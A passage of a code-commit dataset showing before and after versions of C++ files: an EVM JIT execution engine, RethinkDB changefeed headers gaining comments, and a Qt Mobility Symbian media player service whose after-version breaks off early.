triple.setObjectFormat(llvm::Triple::ObjectFormatType::ELF); // MCJIT does not support COFF format module->setTargetTriple(triple.str()); ExecBundle exec; exec.engine.reset(builder.create()); if (!exec.engine) return ReturnCode::LLVMConfigError; _module.release(); // Successfully created llvm::ExecutionEngine takes ownership of the module auto finalizationStartTime = std::chrono::high_resolution_clock::now(); exec.engine->finalizeObject(); auto finalizationEndTime = std::chrono::high_resolution_clock::now(); clog(JIT) << " + " << std::chrono::duration_cast<std::chrono::milliseconds>(finalizationEndTime - finalizationStartTime).count(); auto executionStartTime = std::chrono::high_resolution_clock::now(); exec.entryFunc = module->getFunction("main"); if (!exec.entryFunc) return ReturnCode::LLVMLinkError; std::string key{reinterpret_cast<char const*>(_code.data()), _code.size()}; auto& cachedExec = Cache::registerExec(key, std::move(exec)); auto returnCode = run(cachedExec, _data, _env); auto executionEndTime = std::chrono::high_resolution_clock::now(); clog(JIT) << " + " << std::chrono::duration_cast<std::chrono::milliseconds>(executionEndTime - executionStartTime).count() << " ms "; //clog(JIT) << "Max stack size: " << Stack::maxStackSize; clog(JIT) << "\n"; return returnCode; } ReturnCode ExecutionEngine::run(ExecBundle const& _exec, RuntimeData* _data, Env* _env) { ReturnCode returnCode; Runtime runtime(_data, _env); auto r = setjmp(runtime.getJmpBuf()); if (r == 0) { auto result = _exec.engine->runFunction(_exec.entryFunc, {{}, llvm::GenericValue(&runtime)}); returnCode = static_cast<ReturnCode>(result.IntVal.getZExtValue()); } else returnCode = static_cast<ReturnCode>(r); if (returnCode == ReturnCode::Return) { returnData = runtime.getReturnData(); auto&& log = clog(JIT); log << "RETURN [ "; for (auto it = returnData.begin(), end = returnData.end(); it != end; ++it) log << std::hex << std::setw(2) << std::setfill('0') << (int)*it << " "; log << "]"; } else clog(JIT) << "RETURN " << (int)returnCode; return returnCode; } } } } <commit_msg>Change the way entry function is called.<commit_after>#include "ExecutionEngine.h" #include <chrono> #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wunused-parameter" #include <llvm/IR/LLVMContext.h> #include <llvm/IR/Module.h> #include <llvm/ADT/Triple.h> #include <llvm/ExecutionEngine/ExecutionEngine.h> #include <llvm/ExecutionEngine/SectionMemoryManager.h> #include <llvm/ExecutionEngine/GenericValue.h> #include <llvm/ExecutionEngine/MCJIT.h> #include <llvm/Support/TargetSelect.h> #include <llvm/Support/Signals.h> #include <llvm/Support/PrettyStackTrace.h> #include <llvm/Support/Host.h> #pragma GCC diagnostic pop #include "Runtime.h" #include "Memory.h" #include "Stack.h" #include "Type.h" #include "Compiler.h" #include "Cache.h" namespace dev { namespace eth { namespace jit { ReturnCode ExecutionEngine::run(bytes const& _code, RuntimeData* _data, Env* _env) { std::string key{reinterpret_cast<char const*>(_code.data()), _code.size()}; if (auto cachedExec = Cache::findExec(key)) { return run(*cachedExec, _data, _env); } auto module = Compiler({}).compile(_code); return run(std::move(module), _data, _env, _code); } ReturnCode ExecutionEngine::run(std::unique_ptr<llvm::Module> _module, RuntimeData* _data, Env* _env, bytes const& _code) { auto module = _module.get(); // Keep ownership of the module in _module llvm::sys::PrintStackTraceOnErrorSignal(); static const auto program = "EVM JIT"; llvm::PrettyStackTraceProgram X(1, &program); auto&& context = llvm::getGlobalContext(); llvm::InitializeNativeTarget(); llvm::InitializeNativeTargetAsmPrinter(); llvm::InitializeNativeTargetAsmParser(); std::string errorMsg; llvm::EngineBuilder builder(module); //builder.setMArch(MArch); //builder.setMCPU(MCPU); //builder.setMAttrs(MAttrs); //builder.setRelocationModel(RelocModel); //builder.setCodeModel(CMModel); builder.setErrorStr(&errorMsg); builder.setEngineKind(llvm::EngineKind::JIT); builder.setUseMCJIT(true); builder.setMCJITMemoryManager(new llvm::SectionMemoryManager()); builder.setOptLevel(llvm::CodeGenOpt::None); auto triple = llvm::Triple(llvm::sys::getProcessTriple()); if (triple.getOS() == llvm::Triple::OSType::Win32) triple.setObjectFormat(llvm::Triple::ObjectFormatType::ELF); // MCJIT does not support COFF format module->setTargetTriple(triple.str()); ExecBundle exec; exec.engine.reset(builder.create()); if (!exec.engine) return ReturnCode::LLVMConfigError; _module.release(); // Successfully created llvm::ExecutionEngine takes ownership of the module auto finalizationStartTime = std::chrono::high_resolution_clock::now(); exec.engine->finalizeObject(); auto finalizationEndTime = std::chrono::high_resolution_clock::now(); clog(JIT) << " + " << std::chrono::duration_cast<std::chrono::milliseconds>(finalizationEndTime - finalizationStartTime).count(); auto executionStartTime = std::chrono::high_resolution_clock::now(); exec.entryFunc = module->getFunction("main"); if (!exec.entryFunc) return ReturnCode::LLVMLinkError; std::string key{reinterpret_cast<char const*>(_code.data()), _code.size()}; auto& cachedExec = Cache::registerExec(key, std::move(exec)); auto returnCode = run(cachedExec, _data, _env); auto executionEndTime = std::chrono::high_resolution_clock::now(); clog(JIT) << " + " << std::chrono::duration_cast<std::chrono::milliseconds>(executionEndTime - executionStartTime).count() << " ms "; //clog(JIT) << "Max stack size: " << Stack::maxStackSize; clog(JIT) << "\n"; return returnCode; } ReturnCode ExecutionEngine::run(ExecBundle const& _exec, RuntimeData* _data, Env* _env) { ReturnCode returnCode; Runtime runtime(_data, _env); std::vector<llvm::GenericValue> args{{}, llvm::GenericValue(&runtime)}; llvm::GenericValue result; typedef ReturnCode(*EntryFuncPtr)(int, Runtime*); auto entryFuncVoidPtr = _exec.engine->getPointerToFunction(_exec.entryFunc); auto entryFuncPtr = static_cast<EntryFuncPtr>(entryFuncVoidPtr); auto r = setjmp(runtime.getJmpBuf()); if (r == 0) { returnCode = entryFuncPtr(0, &runtime); } else returnCode = static_cast<ReturnCode>(r); if (returnCode == ReturnCode::Return) { returnData = runtime.getReturnData(); auto&& log = clog(JIT); log << "RETURN [ "; for (auto it = returnData.begin(), end = returnData.end(); it != end; ++it) log << std::hex << std::setw(2) << std::setfill('0') << (int)*it << " "; log << "]"; } else clog(JIT) << "RETURN " << (int)returnCode; return returnCode; } } } } <|endoftext|>
<commit_before>#ifndef RDB_PROTOCOL_CHANGEFEED_HPP_ #define RDB_PROTOCOL_CHANGEFEED_HPP_ #include <deque> #include <exception> #include <map> #include "errors.hpp" #include <boost/variant.hpp> #include "concurrency/rwlock.hpp" #include "containers/counted.hpp" #include "containers/scoped.hpp" #include "protocol_api.hpp" #include "repli_timestamp.hpp" #include "rpc/connectivity/connectivity.hpp" #include "rpc/mailbox/typed.hpp" #include "rpc/serialize_macros.hpp" class auto_drainer_t; class base_namespace_repo_t; class mailbox_manager_t; struct rdb_modification_report_t; namespace ql { class base_exc_t; class batcher_t; class changefeed_t; class datum_stream_t; class datum_t; class env_t; class table_t; namespace changefeed { struct msg_t { struct change_t { change_t(); explicit change_t(counted_t<const datum_t> _old_val, counted_t<const datum_t> _new_val); ~change_t(); counted_t<const datum_t> old_val, new_val; RDB_DECLARE_ME_SERIALIZABLE; }; struct stop_t { RDB_DECLARE_ME_SERIALIZABLE; }; msg_t() { } msg_t(msg_t &&msg); msg_t(const msg_t &msg) = default; explicit msg_t(stop_t &&op); explicit msg_t(change_t &&op); // Starts with STOP to avoid doing work for default initialization. boost::variant<stop_t, change_t> op; RDB_DECLARE_ME_SERIALIZABLE; }; class feed_t; struct stamped_msg_t; // The `client_t` exists on the machine handling the changefeed query, in the // `rdb_context_t`. When a query subscribes to the changes on a table, it // should call `new_feed`. The `client_t` will give it back a stream of rows. // The `client_t` does this by maintaining an internal map from table UUIDs to // `feed_t`s. (It does this so that there is at most one `feed_t` per <table, // client> pair, to prevent redundant cluster messages.) The actual logic for // subscribing to a changefeed server and distributing writes to streams can be // found in the `feed_t` class. class client_t : public home_thread_mixin_t { public: typedef mailbox_addr_t<void(stamped_msg_t)> addr_t; client_t(mailbox_manager_t *_manager); ~client_t(); // Throws QL exceptions. counted_t<datum_stream_t> new_feed(const counted_t<table_t> &tbl, env_t *env); void maybe_remove_feed(const uuid_u &uuid); scoped_ptr_t<feed_t> detach_feed(const uuid_u &uuid); private: friend class sub_t; mailbox_manager_t *const manager; std::map<uuid_u, scoped_ptr_t<feed_t> > feeds; // This lock manages access to the `feeds` map. The `feeds` map needs to be // read whenever `new_feed` is called, and needs to be written to whenever // `new_feed` is called with a table not already in the `feeds` map, or // whenever `maybe_remove_feed` or `detach_feed` is called. rwlock_t feeds_lock; auto_drainer_t drainer; }; // There is one `server_t` per `store_t`, and it is used to send changes that // occur on that `store_t` to any subscribed `feed_t`s contained in a // `client_t`. class server_t { public: typedef mailbox_addr_t<void(client_t::addr_t)> addr_t; server_t(mailbox_manager_t *_manager); void add_client(const client_t::addr_t &addr); void send_all(msg_t msg); addr_t get_stop_addr(); uint64_t get_stamp(const client_t::addr_t &addr); uuid_u get_uuid(); private: void stop_mailbox_cb(client_t::addr_t addr); void add_client_cb(signal_t *stopped, client_t::addr_t addr); // The UUID of the server, used so that `feed_t`s can order changefeed // messages on a per-server basis (and drop changefeed messages from before // their own creation timestamp on a per-server basis). const uuid_u uuid; mailbox_manager_t *const manager; struct client_info_t { scoped_ptr_t<cond_t> cond; uint64_t stamp; }; std::map<client_t::addr_t, client_info_t> clients; rwlock_t clients_lock; mailbox_t<void(client_t::addr_t)> stop_mailbox; auto_drainer_t drainer; }; } // namespace changefeed } // namespace ql #endif // RDB_PROTOCOL_CHANGEFEED_HPP_ <commit_msg>Added comments.<commit_after>#ifndef RDB_PROTOCOL_CHANGEFEED_HPP_ #define RDB_PROTOCOL_CHANGEFEED_HPP_ #include <deque> #include <exception> #include <map> #include "errors.hpp" #include <boost/variant.hpp> #include "concurrency/rwlock.hpp" #include "containers/counted.hpp" #include "containers/scoped.hpp" #include "protocol_api.hpp" #include "repli_timestamp.hpp" #include "rpc/connectivity/connectivity.hpp" #include "rpc/mailbox/typed.hpp" #include "rpc/serialize_macros.hpp" class auto_drainer_t; class base_namespace_repo_t; class mailbox_manager_t; struct rdb_modification_report_t; namespace ql { class base_exc_t; class batcher_t; class changefeed_t; class datum_stream_t; class datum_t; class env_t; class table_t; namespace changefeed { struct msg_t { struct change_t { change_t(); explicit change_t(counted_t<const datum_t> _old_val, counted_t<const datum_t> _new_val); ~change_t(); counted_t<const datum_t> old_val, new_val; RDB_DECLARE_ME_SERIALIZABLE; }; struct stop_t { RDB_DECLARE_ME_SERIALIZABLE; }; msg_t() { } msg_t(msg_t &&msg); msg_t(const msg_t &msg) = default; explicit msg_t(stop_t &&op); explicit msg_t(change_t &&op); // Starts with STOP to avoid doing work for default initialization. boost::variant<stop_t, change_t> op; RDB_DECLARE_ME_SERIALIZABLE; }; class feed_t; struct stamped_msg_t; // The `client_t` exists on the machine handling the changefeed query, in the // `rdb_context_t`. When a query subscribes to the changes on a table, it // should call `new_feed`. The `client_t` will give it back a stream of rows. // The `client_t` does this by maintaining an internal map from table UUIDs to // `feed_t`s. (It does this so that there is at most one `feed_t` per <table, // client> pair, to prevent redundant cluster messages.) The actual logic for // subscribing to a changefeed server and distributing writes to streams can be // found in the `feed_t` class. class client_t : public home_thread_mixin_t { public: typedef mailbox_addr_t<void(stamped_msg_t)> addr_t; client_t(mailbox_manager_t *_manager); ~client_t(); // Throws QL exceptions. counted_t<datum_stream_t> new_feed(const counted_t<table_t> &tbl, env_t *env); void maybe_remove_feed(const uuid_u &uuid); scoped_ptr_t<feed_t> detach_feed(const uuid_u &uuid); private: friend class sub_t; mailbox_manager_t *const manager; std::map<uuid_u, scoped_ptr_t<feed_t> > feeds; // This lock manages access to the `feeds` map. The `feeds` map needs to be // read whenever `new_feed` is called, and needs to be written to whenever // `new_feed` is called with a table not already in the `feeds` map, or // whenever `maybe_remove_feed` or `detach_feed` is called. rwlock_t feeds_lock; auto_drainer_t drainer; }; // There is one `server_t` per `store_t`, and it is used to send changes that // occur on that `store_t` to any subscribed `feed_t`s contained in a // `client_t`. class server_t { public: typedef mailbox_addr_t<void(client_t::addr_t)> addr_t; server_t(mailbox_manager_t *_manager); void add_client(const client_t::addr_t &addr); void send_all(msg_t msg); addr_t get_stop_addr(); uint64_t get_stamp(const client_t::addr_t &addr); uuid_u get_uuid(); private: void stop_mailbox_cb(client_t::addr_t addr); void add_client_cb(signal_t *stopped, client_t::addr_t addr); // The UUID of the server, used so that `feed_t`s can order changefeed // messages on a per-server basis (and drop changefeed messages from before // their own creation timestamp on a per-server basis). const uuid_u uuid; mailbox_manager_t *const manager; struct client_info_t { scoped_ptr_t<cond_t> cond; uint64_t stamp; }; std::map<client_t::addr_t, client_info_t> clients; // Controls access to `clients`. A `server_t` needs to read `clients` when: // * `send_all` is called // * `get_tamp` is called // And needs to write to clients when: // * `add_client` is called // * A message is received at `stop_mailbox` unsubscribing a client // A lock is needed because e.g. `send_all` calls `send`, which can block, // while looping over `clients`, and we need to make sure the map doesn't // change under it. rwlock_t clients_lock; mailbox_t<void(client_t::addr_t)> stop_mailbox; auto_drainer_t drainer; }; } // namespace changefeed } // namespace ql #endif // RDB_PROTOCOL_CHANGEFEED_HPP_ <|endoftext|>
<commit_before>#ifndef RDB_PROTOCOL_CHANGEFEED_HPP_ #define RDB_PROTOCOL_CHANGEFEED_HPP_ #include <deque> #include <exception> #include <map> #include "errors.hpp" #include <boost/variant.hpp> #include "concurrency/rwlock.hpp" #include "containers/counted.hpp" #include "containers/scoped.hpp" #include "protocol_api.hpp" #include "repli_timestamp.hpp" #include "rpc/connectivity/connectivity.hpp" #include "rpc/mailbox/typed.hpp" #include "rpc/serialize_macros.hpp" class auto_drainer_t; class base_namespace_repo_t; class mailbox_manager_t; struct rdb_modification_report_t; namespace ql { class base_exc_t; class batcher_t; class changefeed_t; class datum_stream_t; class datum_t; class env_t; class table_t; namespace changefeed { struct msg_t { struct change_t { change_t(); explicit change_t(counted_t<const datum_t> _old_val, counted_t<const datum_t> _new_val); ~change_t(); counted_t<const datum_t> old_val, new_val; RDB_DECLARE_ME_SERIALIZABLE; }; struct stop_t { RDB_DECLARE_ME_SERIALIZABLE; }; msg_t() { } msg_t(msg_t &&msg); msg_t(const msg_t &msg) = default; explicit msg_t(stop_t &&op); explicit msg_t(change_t &&op); // Starts with STOP to avoid doing work for default initialization. boost::variant<stop_t, change_t> op; RDB_DECLARE_ME_SERIALIZABLE; }; class feed_t; struct stamped_msg_t; // The `client_t` exists on the machine handling the changefeed query, in the // `rdb_context_t`. When a query subscribes to the changes on a table, it // should call `new_feed`. The `client_t` will give it back a stream of rows. // The `client_t` does this by maintaining an internal map from table UUIDs to // `feed_t`s. (It does this so that there is at most one `feed_t` per <table, // client> pair, to prevent redundant cluster messages.) The actual logic for // subscribing to a changefeed server and distributing writes to streams can be // found in the `feed_t` class. class client_t : public home_thread_mixin_t { public: typedef mailbox_addr_t<void(stamped_msg_t)> addr_t; client_t(mailbox_manager_t *_manager); ~client_t(); // Throws QL exceptions. counted_t<datum_stream_t> new_feed(const counted_t<table_t> &tbl, env_t *env); void maybe_remove_feed(const uuid_u &uuid); scoped_ptr_t<feed_t> detach_feed(const uuid_u &uuid); private: friend class sub_t; mailbox_manager_t *manager; std::map<uuid_u, scoped_ptr_t<feed_t> > feeds; // This lock manages access to the `feeds` map. The `feeds` map needs to be // read whenever `new_feed` is called, and needs to be written to whenever // `new_feed` is called with a table not already in the `feeds` map, or // whenever `maybe_remove_feed` or `detach_feed` is called. rwlock_t feeds_lock; auto_drainer_t drainer; }; class server_t { public: typedef mailbox_addr_t<void(client_t::addr_t)> addr_t; server_t(mailbox_manager_t *_manager); void add_client(const client_t::addr_t &addr); void send_all(msg_t msg); addr_t get_stop_addr(); uint64_t get_stamp(const client_t::addr_t &addr); uuid_u get_uuid(); private: void stop_mailbox_cb(client_t::addr_t addr); void add_client_cb(signal_t *stopped, client_t::addr_t addr); uuid_u uuid; mailbox_manager_t *manager; struct client_info_t { scoped_ptr_t<cond_t> cond; uint64_t stamp; }; std::map<client_t::addr_t, client_info_t> clients; rwlock_t clients_lock; mailbox_t<void(client_t::addr_t)> stop_mailbox; auto_drainer_t drainer; }; } // namespace changefeed } // namespace ql #endif // RDB_PROTOCOL_CHANGEFEED_HPP_ <commit_msg>Added comments.<commit_after>#ifndef RDB_PROTOCOL_CHANGEFEED_HPP_ #define RDB_PROTOCOL_CHANGEFEED_HPP_ #include <deque> #include <exception> #include <map> #include "errors.hpp" #include <boost/variant.hpp> #include "concurrency/rwlock.hpp" #include "containers/counted.hpp" #include "containers/scoped.hpp" #include "protocol_api.hpp" #include "repli_timestamp.hpp" #include "rpc/connectivity/connectivity.hpp" #include "rpc/mailbox/typed.hpp" #include "rpc/serialize_macros.hpp" class auto_drainer_t; class base_namespace_repo_t; class mailbox_manager_t; struct rdb_modification_report_t; namespace ql { class base_exc_t; class batcher_t; class changefeed_t; class datum_stream_t; class datum_t; class env_t; class table_t; namespace changefeed { struct msg_t { struct change_t { change_t(); explicit change_t(counted_t<const datum_t> _old_val, counted_t<const datum_t> _new_val); ~change_t(); counted_t<const datum_t> old_val, new_val; RDB_DECLARE_ME_SERIALIZABLE; }; struct stop_t { RDB_DECLARE_ME_SERIALIZABLE; }; msg_t() { } msg_t(msg_t &&msg); msg_t(const msg_t &msg) = default; explicit msg_t(stop_t &&op); explicit msg_t(change_t &&op); // Starts with STOP to avoid doing work for default initialization. boost::variant<stop_t, change_t> op; RDB_DECLARE_ME_SERIALIZABLE; }; class feed_t; struct stamped_msg_t; // The `client_t` exists on the machine handling the changefeed query, in the // `rdb_context_t`. When a query subscribes to the changes on a table, it // should call `new_feed`. The `client_t` will give it back a stream of rows. // The `client_t` does this by maintaining an internal map from table UUIDs to // `feed_t`s. (It does this so that there is at most one `feed_t` per <table, // client> pair, to prevent redundant cluster messages.) The actual logic for // subscribing to a changefeed server and distributing writes to streams can be // found in the `feed_t` class. class client_t : public home_thread_mixin_t { public: typedef mailbox_addr_t<void(stamped_msg_t)> addr_t; client_t(mailbox_manager_t *_manager); ~client_t(); // Throws QL exceptions. counted_t<datum_stream_t> new_feed(const counted_t<table_t> &tbl, env_t *env); void maybe_remove_feed(const uuid_u &uuid); scoped_ptr_t<feed_t> detach_feed(const uuid_u &uuid); private: friend class sub_t; mailbox_manager_t *manager; std::map<uuid_u, scoped_ptr_t<feed_t> > feeds; // This lock manages access to the `feeds` map. The `feeds` map needs to be // read whenever `new_feed` is called, and needs to be written to whenever // `new_feed` is called with a table not already in the `feeds` map, or // whenever `maybe_remove_feed` or `detach_feed` is called. rwlock_t feeds_lock; auto_drainer_t drainer; }; // There is one `server_t` per `store_t`, and it is used to send changes that // occur on that `store_t` to any subscribed `feed_t`s contained in a // `client_t`. class server_t { public: typedef mailbox_addr_t<void(client_t::addr_t)> addr_t; server_t(mailbox_manager_t *_manager); void add_client(const client_t::addr_t &addr); void send_all(msg_t msg); addr_t get_stop_addr(); uint64_t get_stamp(const client_t::addr_t &addr); uuid_u get_uuid(); private: void stop_mailbox_cb(client_t::addr_t addr); void add_client_cb(signal_t *stopped, client_t::addr_t addr); uuid_u uuid; mailbox_manager_t *manager; struct client_info_t { scoped_ptr_t<cond_t> cond; uint64_t stamp; }; std::map<client_t::addr_t, client_info_t> clients; rwlock_t clients_lock; mailbox_t<void(client_t::addr_t)> stop_mailbox; auto_drainer_t drainer; }; } // namespace changefeed } // namespace ql #endif // RDB_PROTOCOL_CHANGEFEED_HPP_ <|endoftext|>
<commit_before>/**************************************************************************** ** ** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation ([email protected]) ** ** This file is part of the Qt Mobility Components. ** ** $QT_BEGIN_LICENSE:LGPL$ ** No Commercial Usage ** This file contains pre-release code and may not be distributed. ** You may use this file in accordance with the terms and conditions ** contained in the Technology Preview License Agreement accompanying ** this package. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Nokia gives you certain additional ** rights. These rights are described in the Nokia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** If you have questions regarding the use of this file, please contact ** Nokia at [email protected]. ** ** ** ** ** ** ** ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #include <QtCore/qvariant.h> #include <QtCore/qdebug.h> #include <QtGui/qwidget.h> #include "s60mediaplayerservice.h" #include "s60mediaplayercontrol.h" #include "s60videoplayersession.h" #include "s60audioplayersession.h" #include "s60mediametadataprovider.h" #include "s60mediarecognizer.h" #include "s60videowidgetcontrol.h" #include "s60videowindowcontrol.h" #ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER #include "s60videorenderer.h" #endif #include "s60mediaplayeraudioendpointselector.h" #include "s60medianetworkaccesscontrol.h" #include "s60mediastreamcontrol.h" #include <qmediaplaylistnavigator.h> #include <qmediaplaylist.h> S60MediaPlayerService::S60MediaPlayerService(QObject *parent) : QMediaService(parent) , m_control(NULL) , m_videoPlayerSession(NULL) , m_audioPlayerSession(NULL) , m_metaData(NULL) , m_audioEndpointSelector(NULL) , m_streamControl(NULL) , m_networkAccessControl(NULL) , m_videoOutput(NULL) { m_control = new S60MediaPlayerControl(*this, this); m_metaData = new S60MediaMetaDataProvider(m_control, this); m_audioEndpointSelector = new S60MediaPlayerAudioEndpointSelector(m_control, this); m_streamControl = new S60MediaStreamControl(m_control, this); m_networkAccessControl = new S60MediaNetworkAccessControl(this); } S60MediaPlayerService::~S60MediaPlayerService() { } QMediaControl *S60MediaPlayerService::requestControl(const char *name) { if (qstrcmp(name, QMediaPlayerControl_iid) == 0) return m_control; if (qstrcmp(name, QMediaNetworkAccessControl_iid) == 0) return m_networkAccessControl; if (qstrcmp(name, QMetaDataReaderControl_iid) == 0) return m_metaData; if (qstrcmp(name, QAudioEndpointSelector_iid) == 0) return m_audioEndpointSelector; if (qstrcmp(name, QMediaStreamsControl_iid) == 0) return m_streamControl; if (!m_videoOutput) { if (qstrcmp(name, QVideoWidgetControl_iid) == 0) { m_videoOutput = new S60VideoWidgetControl(this); } #ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER else if (qstrcmp(name, QVideoRendererControl_iid) == 0) { m_videoOutput = new S60VideoRenderer(this); } #endif /* HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER */ else if (qstrcmp(name, QVideoWindowControl_iid) == 0) { m_videoOutput = new S60VideoWindowControl(this); } if (m_videoOutput) { m_control->setVideoOutput(m_videoOutput); return m_videoOutput; } }else { if (qstrcmp(name, QVideoWidgetControl_iid) == 0 || #ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER qstrcmp(name, QVideoRendererControl_iid) == 0 || #endif /* HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER */ qstrcmp(name, QVideoWindowControl_iid) == 0){ return m_videoOutput; } } return 0; } void S60MediaPlayerService::releaseControl(QMediaControl *control) { if (control == m_videoOutput) { m_videoOutput = 0; m_control->setVideoOutput(m_videoOutput); } } S60MediaPlayerSession* S60MediaPlayerService::PlayerSession() { QUrl url = m_control->media().canonicalUrl(); if (url.isEmpty() == true) { return NULL; } QScopedPointer<S60MediaRecognizer> mediaRecognizer(new S60MediaRecognizer); S60MediaRecognizer::MediaType mediaType = mediaRecognizer->mediaType(url); mediaRecognizer.reset(); switch (mediaType) { case S60MediaRecognizer::Video: case S60MediaRecognizer::Url: { m_control->setMediaType(S60MediaSettings::Video); return VideoPlayerSession(); } case S60MediaRecognizer::Audio: { m_control->setMediaType(S60MediaSettings::Audio); return AudioPlayerSession(); } default: m_control->setMediaType(S60MediaSettings::Unknown); break; } return NULL; } S60MediaPlayerSession* S60MediaPlayerService::VideoPlayerSession() { if (!m_videoPlayerSession) { m_videoPlayerSession = new S60VideoPlayerSession(this, m_networkAccessControl); connect(m_videoPlayerSession, SIGNAL(positionChanged(qint64)), m_control, SIGNAL(positionChanged(qint64))); connect(m_videoPlayerSession, SIGNAL(playbackRateChanged(qreal)), m_control, SIGNAL(playbackRateChanged(qreal))); connect(m_videoPlayerSession, SIGNAL(volumeChanged(int)), m_control, SIGNAL(volumeChanged(int))); connect(m_videoPlayerSession, SIGNAL(mutedChanged(bool)), m_control, SIGNAL(mutedChanged(bool))); connect(m_videoPlayerSession, SIGNAL(durationChanged(qint64)), m_control, SIGNAL(durationChanged(qint64))); connect(m_videoPlayerSession, SIGNAL(stateChanged(QMediaPlayer::State)), m_control, SIGNAL(stateChanged(QMediaPlayer::State))); connect(m_videoPlayerSession, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)), m_control, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus))); connect(m_videoPlayerSession,SIGNAL(bufferStatusChanged(int)), m_control, SIGNAL(bufferStatusChanged(int))); connect(m_videoPlayerSession, SIGNAL(videoAvailableChanged(bool)), m_control, SIGNAL(videoAvailableChanged(bool))); connect(m_videoPlayerSession, SIGNAL(audioAvailableChanged(bool)), m_control, SIGNAL(audioAvailableChanged(bool))); connect(m_videoPlayerSession, SIGNAL(seekableChanged(bool)), m_control, SIGNAL(seekableChanged(bool))); connect(m_videoPlayerSession, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)), m_control, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&))); connect(m_videoPlayerSession, SIGNAL(error(int, const QString &)), m_control, SIGNAL(error(int, const QString &))); connect(m_videoPlayerSession, SIGNAL(metaDataChanged()), m_metaData, SIGNAL(metaDataChanged())); connect(m_videoPlayerSession, SIGNAL(activeEndpointChanged(const QString&)), m_audioEndpointSelector, SIGNAL(activeEndpointChanged(const QString&))); connect(m_videoPlayerSession, SIGNAL(mediaChanged()), m_streamControl, SLOT(handleStreamsChanged())); connect(m_videoPlayerSession, SIGNAL(accessPointChanged(int)), m_networkAccessControl, SLOT(accessPointChanged(int))); } m_videoPlayerSession->setVolume(m_control->mediaControlSettings().volume()); m_videoPlayerSession->setMuted(m_control->mediaControlSettings().isMuted()); m_videoPlayerSession->setAudioEndpoint(m_control->mediaControlSettings().audioEndpoint()); } return m_videoPlayerSession; } S60MediaPlayerSession* S60MediaPlayerService::AudioPlayerSession() { if (!m_audioPlayerSession) { m_audioPlayerSession = new S60AudioPlayerSession(this); connect(m_audioPlayerSession, SIGNAL(positionChanged(qint64)), m_control, SIGNAL(positionChanged(qint64))); connect(m_audioPlayerSession, SIGNAL(playbackRateChanged(qreal)), m_control, SIGNAL(playbackRateChanged(qreal))); connect(m_audioPlayerSession, SIGNAL(volumeChanged(int)), m_control, SIGNAL(volumeChanged(int))); connect(m_audioPlayerSession, SIGNAL(mutedChanged(bool)), m_control, SIGNAL(mutedChanged(bool))); connect(m_audioPlayerSession, SIGNAL(durationChanged(qint64)), m_control, SIGNAL(durationChanged(qint64))); connect(m_audioPlayerSession, SIGNAL(stateChanged(QMediaPlayer::State)), m_control, SIGNAL(stateChanged(QMediaPlayer::State))); connect(m_audioPlayerSession, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)), m_control, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus))); connect(m_audioPlayerSession,SIGNAL(bufferStatusChanged(int)), m_control, SIGNAL(bufferStatusChanged(int))); connect(m_audioPlayerSession, SIGNAL(videoAvailableChanged(bool)), m_control, SIGNAL(videoAvailableChanged(bool))); connect(m_audioPlayerSession, SIGNAL(audioAvailableChanged(bool)), m_control, SIGNAL(audioAvailableChanged(bool))); connect(m_audioPlayerSession, SIGNAL(seekableChanged(bool)), m_control, SIGNAL(seekableChanged(bool))); connect(m_audioPlayerSession, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)), m_control, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&))); connect(m_audioPlayerSession, SIGNAL(error(int, const QString &)), m_control, SIGNAL(error(int, const QString &))); connect(m_audioPlayerSession, SIGNAL(metaDataChanged()), m_metaData, SIGNAL(metaDataChanged())); connect(m_audioPlayerSession, SIGNAL(activeEndpointChanged(const QString&)), m_audioEndpointSelector, SIGNAL(activeEndpointChanged(const QString&))); connect(m_audioPlayerSession, SIGNAL(mediaChanged()), m_streamControl, SLOT(handleStreamsChanged())); m_audioPlayerSession->setVolume(m_control->mediaControlSettings().volume()); m_audioPlayerSession->setMuted(m_control->mediaControlSettings().isMuted()); m_audioPlayerSession->setAudioEndpoint(m_control->mediaControlSettings().audioEndpoint()); } return m_audioPlayerSession; } <commit_msg>make Symbian mediaplayer plugin compile<commit_after>/**************************************************************************** ** ** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation ([email protected]) ** ** This file is part of the Qt Mobility Components. ** ** $QT_BEGIN_LICENSE:LGPL$ ** No Commercial Usage ** This file contains pre-release code and may not be distributed. ** You may use this file in accordance with the terms and conditions ** contained in the Technology Preview License Agreement accompanying ** this package. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Nokia gives you certain additional ** rights. These rights are described in the Nokia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** If you have questions regarding the use of this file, please contact ** Nokia at [email protected]. ** ** ** ** ** ** ** ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #include <QtCore/qvariant.h> #include <QtCore/qdebug.h> #include <QtGui/qwidget.h> #include "s60mediaplayerservice.h" #include 